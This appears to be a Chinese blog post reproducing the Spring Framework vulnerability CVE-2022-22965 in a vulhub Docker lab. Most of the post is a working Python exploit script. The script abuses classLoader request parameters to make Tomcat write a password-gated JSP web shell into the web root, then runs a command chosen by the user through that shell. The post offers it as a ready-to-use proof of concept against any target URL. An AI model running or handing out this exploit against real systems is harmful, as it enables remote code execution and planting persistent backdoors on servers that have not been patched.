当前位置:网站首页>CVE-2022-22965複現
CVE-2022-22965複現
2022-06-22 14:01:00 【lionwerson】
CVE-2022-22965複現
簡介:
在jdk 9+上運行的Spring MVC或Spring WebFlux application可能會導致RCE
複現環境:
docker run -d -p 8080:8080 vulhub/spring-webmvc:5.3.17
服務啟動後,訪問http://your-ip:8080/?name=xxx&age=xxx
即可看到一個演示頁面。

poc:
使用方法:-t 輸入目標地址,-c輸入執行命令,默認為id
import argparse
import requests
headers = {
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en',
'suffix': '%>//',
'c1': 'Runtime',
'c2': '<%',
'DNT': '1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}
headers_res = {
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t',"--target",help='input target',required=True,type=str)
parser.add_argument('-c',"--command",help='input poc command',type=str,default='id')
args = parser.parse_args()
url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
cmd_url = args.target + "/tomcatwar.jsp?pwd=j&cmd=" + args.command
refresh_url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern="
res = requests.get(url=url, headers=headers)
try:
if res.status_code == 200:
res_cmd = requests.get(url=cmd_url, headers=headers)
print(res_cmd.text.replace("\x00",""))
ref_cmd = requests.get(url=refresh_url,headers=headers_res)
else:
print('Vulnerability does not exist')
except Exception as e:
print(e)
边栏推荐
- openGauss数据库源码解析系列文章—— 密态等值查询技术详解
- Acwing week 54
- Neuron+eKuiper 实现工业物联网数据采集、清理与反控
- transformers VIT图像模型向量获取
- Do you know the scope and process of software project acceptance testing?
- 别再用 System.currentTimeMillis() 统计耗时了,太 Low,StopWatch 好用到爆!
- Locks in MySQL
- Tables converting to latex format
- "N'osez pas douter du Code, vous devez douter du Code" notez une analyse de délai de demande réseau
- Oracle user space statistics
猜你喜欢

Tables converting to latex format

Oceanbase database helps the ideal automobile intelligent production line to realize automatic recovery within 30 seconds

leetcode每日一题202110

HMS Core新闻行业解决方案:让技术加上人文的温度

Stop using system Currenttimemillis() takes too long to count. It's too low. Stopwatch is easy to use!

"N'osez pas douter du Code, vous devez douter du Code" notez une analyse de délai de demande réseau

"N'osez pas douter du Code, vous devez douter du Code" notez une analyse de délai de demande réseau

Docker installing PostgreSQL

防火墙基础之策略部署

leetcode-子序列/子串問題
随机推荐
Leetcode game 297
Performance related indicators
防火墙基础之策略部署
hw在即,你还不会看危险报文?
Neuron+eKuiper 实现工业物联网数据采集、清理与反控
Microservice test efficiency governance
JSP based library management system, including source code, database script, video tutorial for project operation, and video tutorial for thesis writing
HMS Core新闻行业解决方案:让技术加上人文的温度
Locks in MySQL
坚持了 10 年的 9 个编程好习惯
浅析Redis 切片集群的数据倾斜问题
Rigid demand of robot direction → personal thinking ←
在CSDN写文几年,我出了“第一本书“,感恩!
华为这份关于专利的会议纪要,都说了什么?(内含华为十大发明彩蛋)
SQL Server common functions
A simple scientific research secret
Chapter 1 overview of naturallanguageprocessing and deep learning
Are you familiar with redis cache of highly paid programmers & interview questions series 114? How are redis keys designed? Are you familiar with the memory obsolescence mechanism?
Getting started with shell Basics
Stephencovey's tips for efficient work for young people